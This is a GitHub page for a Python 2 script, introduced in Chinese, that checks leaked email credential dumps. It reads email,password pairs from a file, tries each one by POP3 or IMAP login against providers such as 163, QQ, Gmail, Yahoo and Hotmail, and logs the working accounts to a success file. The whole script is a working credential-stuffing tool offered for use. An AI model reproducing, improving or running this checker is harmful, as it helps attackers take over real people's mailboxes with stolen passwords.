-
Notifications
You must be signed in to change notification settings - Fork 21
/
多线程验证邮箱裤子.py
136 lines (119 loc) · 4.37 KB
/
多线程验证邮箱裤子.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
说明: 这是个多线程的验证邮箱账号、密码能否通过pop3、imap登陆的py代码。小弟c++没学好,偶尔会用py写些小东西,还是个营养不良的码农,还在路上...
扯远了,作为一个话很少的码农,直接上代码。请看附件。
虽然在py里面加了说明,还是简单来两句中文:假如你输入 1 ,他会以pop3协议运行;
假如你输入 2 ,他会以imap协议运行。
就是那么简单,那么简单,简单。。。假如你还不懂,看图
import poplib,imaplib,smtplib
import re,os,threading
semaphore = threading.Semaphore(1)
print '''if you input 1,it works with pop3,elseif you input 2,works with imap
and it needs 'emal.txt' where writes $email,$password in line.
!notice:it works with opening pop3&imap,hotmail hasn't imap and make sure you can visit gmail.com,
or you'll get some wrong data'''
num = raw_input()
filehandle = open('email.txt','r')
flist = open('email.txt').readlines()
def getPopMail( mailDomain ):
if mailDomain in ['163','gmali','126','qq','sina']:
temp1 = 'pop.'+mailDomain+'.com'
mail = poplib.POP3_SSL(temp1)
elif ( mailDomain == 'hotmail' ):
mail = poplib.POP3_SSL('pop3.live.com')
elif ( mailDomain == 'yahoo' ):
mail = poplib.POP3_SSL('pop.mail.yahoo.com')
return mail;
def getImapMail( mailDomain ):
if mailDomain in ['163','gmali','126','qq','sina']:
temp2 = 'imap.'+mailDomain+'.com'
mail = imaplib.IMAP4_SSL(temp2)
elif ( mailDomain == 'hotmail' ):
mail = ''
elif ( mailDomain == 'yahoo' ):
mail = imaplib.IMAP4_SSL('imap.mail.yahoo.com')
return mail
def isValidEmail(email,password):
emailparts = email.split('@')
str1 = str(emailparts[1])
global subDomain
subDomain=''
if( len( emailparts ) != 2 ):
print "Email Fomat Error ";
return False
for la1 in ['gmail','163','yahoo','qq','126','sina']:
regm1 = re.compile(la1)
if(regm1.match(str1)):
subDomain = la1
return
for la2 in ['outlook','hotmail','live']:
regm2 = re.compile(la2)
if(regm2.match(str1)):
subDomain = 'hotmail'
return
def choose_pop3(email,password):
isValidEmail(email,password)
ret = ""
try:
mail = getPopMail( subDomain );
mail.user(str(email))
mail.pass_(str(password))
ret = mail.stat()
except:
pass
retR = re.compile('\(\d*,\s*\d*');
line = email+password
if( retR.match(str(ret)) ):
writeResultFile1('s',line)
print 'Success Login';
return True
else:
writeResultFile1('f',line)
print 'Failed Login';
return False
def choose_imap(email,password):
isValidEmail(email,password)
line = email+password
try:
mail = getImapMail(subDomain)
mail.login(str(email), str(password))
writeResultFile2('s',line)
print 'Success Login'
return True
except:
writeResultFile2('f',line)
print 'Failed Login'
return False
def writeResultFile1(result,line):
if(result == 's'):
fileHS = open("successMail1.txt",'a+')
if(result == 'f'):
fileHS = open('failedMail1.txt','a+')
fileHS.write(line)
def writeResultFile2(result,line):
if(result == 's'):
fileHS = open("successMail2.txt",'a+')
if(result == 'f'):
fileHS = open('failedMail2.txt','a+')
fileHS.write(line)
def mutithread( filepathlist,targetn ):
task_threads=[] #存储线程
for line in filepathlist:
content=line.split(',')
if(len(content)==2):
email=content[0].strip()
password=content[1].strip()
t= threading.Thread( target=targetn,args=(email, password,) )
task_threads.append(t)
for task in task_threads:
if semaphore.acquire():
task.start()
task.join() #等待所有线程结束
semaphore.release()
print("已经完成所有任务")
if __name__ == '__main__':
if num=='1':
mutithread(flist, choose_pop3)
elif num=='2':
mutithread(flist, choose_imap)
else:
print 'wrong input,please wash your hand and check somekey to exit'
os.system('pause')